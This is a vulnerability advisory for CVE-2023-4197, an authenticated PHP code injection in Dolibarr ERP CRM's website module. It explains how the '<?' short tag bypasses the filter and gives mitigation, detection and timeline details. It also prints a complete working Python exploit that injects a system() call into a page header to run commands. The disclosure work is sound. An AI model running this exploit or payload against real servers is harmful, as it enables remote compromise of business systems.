Summary:#
\r\n| Product | \r\nDolibarr ERP CRM | \r\n
|---|---|
| Vendor | \r\nDolibarr | \r\n
| Severity | \r\nHigh | \r\n
| Affected Versions | \r\n<= 18.0.1 | \r\n
| Tested Versions | \r\n17.0.1, 18.0.1 | \r\n
| CVE Identifier | \r\nCVE-2023-4197 | \r\n
| CVE Description | \r\nImproper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code. | \r\n
| CWE Classification(s) | \r\nCWE-20: Improper Input Validation | \r\n
| CAPEC Classification(s) | \r\nCAPEC-248 Command Injection CAPEC-153: Input Data Manipulation | \r\n
CVSS3.1 Scoring System:#
\r\nBase Score: 7.5 (High)
\r\nVector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
| Metric | \r\nValue | \r\n
|---|---|
| Attack Vector (AV) | \r\nNetwork | \r\n
| Attack Complexity (AC) | \r\nHigh | \r\n
| Privileges Required (PR) | \r\nLow | \r\n
| User Interaction (UI) | \r\nNone | \r\n
| Scope (S) | \r\nUnchanged | \r\n
| Confidentiality (C) | \r\nHigh | \r\n
| Integrity (I) | \r\nHigh | \r\n
| Availability (A) | \r\nHigh | \r\n
Product Overview:#
\r\nDolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.
\r\nDolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.
\r\nVulnerability Summary:#
\r\nUsers can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <?php and <?=, allowing usage of the <? short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.
Vulnerability Details:#
\r\nThere are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.
\r\nThe vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the <? tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.
/core/lib/website.lib.php:\r\n<?php\r\n\r\nfunction dolKeepOnlyPhpCode($str)\r\n{\r\n $str = str_replace('<?=', '<?php', $str);\r\n\r\n $newstr = '';\r\n\r\n // Split on each opening tag\r\n //$parts = explode('<?php', $str);\r\n $parts = preg_split('/'.preg_quote('<?php', '/').'/i', $str);\r\n\r\n if (!empty($parts)) {\r\n $i = 0;\r\n foreach ($parts as $part) {\r\n if ($i == 0) { // The first part is never php code\r\n $i++;\r\n continue;\r\n }\r\n $newstr .= '<?php';\r\n //split on closing tag\r\n $partlings = explode('?>', $part, 2);\r\n if (!empty($partlings)) {\r\n $newstr .= $partlings[0].'?>';\r\n } else {\r\n $newstr .= $part.'?>';\r\n }\r\n }\r\n }\r\n return $newstr;\r\n}\r\nThis function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <?= with <?php and subsequently all <?php tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.
In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <? tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:
![\"\"](\"/advisories/23/images/CVE-2023-4197_01.RCE.png\")
\r\n
Exploit Conditions:#
\r\nThis vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.
\r\nProof-of-Concept:#
\r\nWe have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:
\r\n# Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)\r\n# Via: https://TARGET_HOST/website/index.php\r\n# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)\r\n\r\n#!/usr/bin/env python3\r\nimport os\r\nimport re\r\nimport requests\r\nimport sys\r\nimport uuid\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\ns = requests.Session()\r\n\r\ndef check_args():\r\n global target, username, password, cmd\r\n\r\n print("\\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\\n")\r\n\r\n if len(sys.argv) != 5:\r\n print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))\r\n sys.exit(1)\r\n\r\n target = sys.argv[1].strip("/")\r\n username = sys.argv[2]\r\n password = sys.argv[3]\r\n cmd = sys.argv[4]\r\n\r\ndef authenticate():\r\n global s, csrf_token\r\n\r\n print("[+] Attempting to authenticate...")\r\n\r\n # GET the CSRF token\r\n res = s.get(f"{target}/", verify=False)\r\n csrf_token = re.search("\\"anti-csrf-newtoken\\" content=\\"(.+)\\"", res.text).group(1).strip()\r\n\r\n # Login\r\n data = {\r\n "token": csrf_token,\r\n "username": username,\r\n "password": password,\r\n "actionlogin": "login"\r\n }\r\n res = s.post(f"{target}/", data=data, verify=False)\r\n\r\n if "Logout" not in res.text:\r\n print("[!] Authentication failed! Are the credentials valid?")\r\n sys.exit(1)\r\n else:\r\n print("[+] Authenticated successfully!")\r\n\r\ndef rce():\r\n # Create web site\r\n print("[+] Attempting to create a website...")\r\n website_name = uuid.uuid4().hex\r\n data = {\r\n "WEBSITE_REF": website_name,\r\n "token": csrf_token,\r\n "action": "addsite",\r\n "WEBSITE_LANG": "en",\r\n "addcontainer": "create"\r\n }\r\n res = s.post(f"{target}/website/index.php", data=data, verify=False)\r\n if f"Website - {website_name}" not in res.text:\r\n print("[!] Website creation failed!")\r\n sys.exit(1)\r\n else:\r\n print(f"[+] Created website name: \\"{website_name}\\"!")\r\n\r\n # Create web page\r\n print("[+] Attempting to create a web page...")\r\n webpage_name = uuid.uuid4().hex\r\n data = {\r\n "website": website_name,\r\n "token": csrf_token,\r\n "action": "addcontainer",\r\n "WEBSITE_TYPE_CONTAINER": "page",\r\n "WEBSITE_TITLE": "x",\r\n "WEBSITE_PAGENAME": webpage_name\r\n }\r\n res = s.post(f"{target}/website/index.php", data=data, verify=False)\r\n if f"Contenair \\\\'{webpage_name}\\\\' added" not in res.text:\r\n print("[!] Web page creation failed!")\r\n sys.exit(1)\r\n else:\r\n print(f"[+] Created web page name: \\"{webpage_name}\\"!")\r\n\r\n # Modify created page\r\n print("[+] Attempting to modify the web page...")\r\n webpage_id = re.search(f"<option value=\\"(.+)\\" .+{webpage_name}", res.text).group(1).strip()\r\n data = {\r\n "website": website_name,\r\n "WEBSITE_PAGENAME": webpage_name,\r\n "pageid": webpage_id,\r\n "token": csrf_token,\r\n "action": "updatemeta",\r\n "htmlheader": f"<? echo system('{cmd}'); ?>"\r\n }\r\n res = s.post(f"{target}/website/index.php", data=data, verify=False)\r\n if "Saved" not in res.text:\r\n print("[!] Web page modification failed!")\r\n sys.exit(1)\r\n else:\r\n print("[+] Web page modified successfully!") \r\n\r\n # Trigger RCE\r\n print(f"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}&pageref={webpage_name}")\r\n res = s.get(f"{target}/public/website/index.php?website={website_name}&pageref={webpage_name}", verify=False)\r\n if res.status_code != 200:\r\n print("[!] Web page is not reachable!")\r\n sys.exit(1)\r\n else:\r\n output = re.findall("block -->\\n(.+)</head>", res.text, re.MULTILINE | re.DOTALL)[0].strip()\r\n print(f"[+] RCE successful! Output of command:\\n\\n{output}")\r\n\r\ndef main():\r\n check_args()\r\n authenticate()\r\n rce()\r\n\r\nif __name__ == "__main__":\r\n main()\r\n![\"\"](\"/advisories/23/images/CVE-2023-4197_02.Exploit.gif\")
\r\n
Suggested Mitigations:#
\r\nUpdate the Dolibarr installation to the latest version as shown from the official repository releases page.
\r\nDetection Guidance:#
\r\nIt is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing <? tags, and further inspecting the code contained within.
Credits:#
\r\nPoh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
\r\nTimeline:#
\r\n- \r\n
- 2023-09-04 Reported vulnerability to Dolibarr owner \r\n
- 2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release \r\n
- 2023-10-11 New version containing patch released \r\n
- 2023-11-01 Public Release \r\n
![\"\"](\"/advisories/23/images/CVE-2023-2315_01.Exploit.png\")
\r\n![\"\"](\"/advisories/23/images/CVE-2023-2110_01-local-image-loaded-via-app-url-scheme.jpg\")
\r\n![\"\"](\"/advisories/23/images/CVE-2023-2110_02-read-local-file-from-external-webpage.png\")
\r\n![\"\"](\"/advisories/23/images/CVE-2023-2110_03-poc1.gif\")
\r\n![\"\"](\"/advisories/23/images/CVE-2023-2110_04-open-malicious-markdown-file-in-obsidian.gif\")
\r\n![\"\"](\"/advisories/23/images/CVE-2023-2110_05-copy-and-paste.gif\")
\r\n![\"\"](\"/advisories/18/images/18-20336-01.png\")
\r\n![\"\"](\"/advisories/18/images/18-20336-02.png\")
\r\n![\"\"](\"/advisories/18/images/18-20336-03.png\")
\r\n![\"\"](\"/advisories/18/images/18-20336-04.png\")
\r\n